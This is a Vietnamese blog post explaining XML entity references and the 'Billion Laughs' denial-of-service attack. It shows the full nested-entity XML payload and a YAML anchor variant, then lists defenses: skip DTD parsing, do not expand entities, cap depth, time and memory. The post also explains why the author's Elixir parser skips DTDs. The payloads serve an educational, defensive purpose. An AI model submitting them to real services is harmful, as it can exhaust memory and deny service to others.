[DoS với XML] Billion Laughs Attack
XML
4
Security
38
White

Cẩm Huỳnh viết ngày 03/04/2018

Làm thế nào để chỉ với một đoạn text vài trăm ký tự, bạn có thể làm ngốn vài gigabyte bộ nhớ và từ chối dịch vụ của một hệ thống dùng XML?


Mặc dù làm việc với XML không phải là lúc nào cũng vui vẻ thú vị nhưng cùng với JSON, nó vẫn là một trong hai format được sử dụng nhiều nhất hiện nay cho việc trao đổi dữ liệu.

alt text

Hẳn các bạn theo dõi page Facebook đã biết là tui mới viết xong Sá Xị, một XML parser cho ngôn ngữ Elixir. Và nếu để ý, bạn sẽ nhớ ra là mình chưa star ... :see_no_evil: lộn, bạn sẽ thấy lạ vì Sá Xị, ngoài việc bắt buộc bạn phải cài đặt hàm handle_event/3 để handle các event được xuất ra, còn đòi hỏi bạn phải cài đặt thêm một hàm tên handle_entity_reference/1.

defmodule MyHandler do
  @behaviour Saxy.Handler

  def handle_event(event_type, event_data, state) do
    do_handle_event(event_type, event_data, state)
  end

  def handle_entity_reference(name) do
    MyHTMLEntities.lookup(name)
  end
end

XML Reference

Như đã biết, XML là một markup language cho phép bạn có thể trộn nội dụng cần truyền tải. Nội dung của một element có thể trộn lẫn giữa text, element, reference, CDATA, comment, processing instruction. Trong đó reference là một loại nội dung khá đặc biệt của XML.

Reference là một loại nội dung tham chiếu. Khi soạn nội dung với XML, thay vì viết huỵt toẹt ra nội dung, bạn có thể mượn reference để thay lời muốn nói.

Có hai loại reference trong XML: character reference và entity reference. Ví dụ cả ba câu sau đây đều xuất ra dòng "I love Tom & Jerry".

<?xml version="1.0" ?>
<message>I love Tom &#38; Jerry</message>  <!-- hexadecimal character reference -->
<message>I love Tom &#x26; Jerry</message> <!-- decimal character reference -->
<message>I love Tom &amp; Jerry</message>  <!-- entity reference -->

Không chỉ dừng ở đó, XML cho phép bạn mở rộng entity reference bằng cách định nghĩa chúng ở document type definition (DTD). Như ở ví dụ sau đây để diễn đạt "This is Quần Cam from Cẩm Huỳnh", tui có thể soạn:

<?xml version="1.0" ?>
<!DOCTYPE blog [
  <!ENTITY blog_name "Quần Cam">
  <!ENTITY author "Cẩm Huỳnh">
]>
<blog>This is &blog_name; from &author;</blog>

Đồng thời DTD cho phép bạn lồng các định nghĩa entity.

<?xml version="1.0" ?>
<!DOCTYPE blog [
  <!ENTITY blog_name "Quần Cam">
  <!ENTITY author "Cẩm Huỳnh">
  <!ENTITY the "Cái">
  <!ENTITY of "của">
  <!ENTITY full_blog_name "&the; &blog_name; &of; &author;">
]>
<blog>&full_blog_name;</blog>
<blog>Cái Quần Cam của Cẩm Huỳnh</blog>

Và rồi từ ấy trong tôi bừng cháy rạ.

Tỉ nụ cười rực rỡ

Cho một đoạn XML lố bịch sau:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Khi XML processor load file này và triển khai nội dung của element lolz, theo đúng logic ta đã bàn ở trên nó sẽ là:

=> 1 &lol9;
=> 10 &lol8;
=> 100 &lol7;
=> 1000 &lol6;
=> 10000 &lol5;
=> 100000 &lol4;
=> 1000000 &lol3;
=> 10000000 &lol2;
=> 100000000 &lol1;
=> 1000000000 &lol;
=> 1000000000 "lol"

Chỉ với một đoạn XML vài trăm ký tự và 1 &lol9; ban đầu, giờ đây bạn có 1 tỉ "lol" string trong hệ thống, tương đương với 3GB memory, có thể dùng để tấn công từ chối dịch vụ (DoS).

Cách tấn công này không hạn chế cho chỉ XML mà cho tất cả data format hỗ trợ reference như YAML.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Một vài XML parsers từng xảy ra lỗi này:

Bài viết này sẽ giúp tui tăng lương như thế nào?

Hy vọng bài viết đầu tiên trong năm nay cũng không giúp bạn tăng lương.

Có một số best practice để phòng chống tấn công như:

  • Không parse DTD.
  • Không expand entities.
  • Giới hạn độ sâu khi convert entity.
  • Giới thiệu timeout khi parse.
  • Giới hạn memory.

Quay lại thắc mắc ở đầu bài, tui chọn cách đơn giản nhất cho Sá Xị:

1) không parse DTD vì thực sự là rule của nó viết rất phê :grin: (chắc còn tốn thời gian hơn cả việc viết nguyên bộ rule XML) và hầu hết các parser khác cũng không parse nó.

2) ít concern hơn cho một parser, và vì bạn phải là người nắm rõ nhất việc process là như thế nào; dù sao đi chăng nữa Sá Xị chỉ là một parser, nó không nên làm thay bạn chuyện handle việc processing như thế nào?


Như thường lệ, bài viết đăng lại từ trang Quần Cam, bấm like ... nhầm, bấm link để biết thêm chi tiết.

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Cẩm Huỳnh

47 bài viết.
462 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
68 5
image cover]imgcover] “Make it work, make it right, make it fast.” Bạn vừa viết xong một ứng dụng web :tada:. Mọi thứ chạy ổn. Code cũng đã được...
Cẩm Huỳnh viết gần 2 năm trước
68 5
White
47 26
Vừa rồi mình vừa tiết kiệm được $5 mỗi tháng sau khi migrate cái (Link) từ Digital Ocean sang Heroku Free Dyno. (Ảnh) Kết quả thật mĩ mãn vì hầu ...
Cẩm Huỳnh viết 3 năm trước
47 26
White
46 9
(Ảnh) Vì sao lại là Bật Đèn? Ai từng đọc qua Tắt Đèn hẳn đã biết tác phẩm được kết thúc bằng tình huống: Buông tay, chị vội choàng dậy, mở cửa...
Cẩm Huỳnh viết 3 năm trước
46 9
Bài viết liên quan
White
41 11
Có 1 kiểu tấn công vào website mà chúng ta không thể nào chống được, dù có làm thế nào đi nữa: DDOS. Đây cũng là một từ rất hay dc nhắc đến và rất...
quocnguyen viết hơn 4 năm trước
41 11
White
9 4
Trước giờ logic code của mình vẫn luôn dễ dãi như gái làng chơi nên đôi khi nó đã support thêm cho mình cái đức tính càng lúc càng không (thèm) kiê...
Rice viết gần 2 năm trước
9 4
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
47 bài viết.
462 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!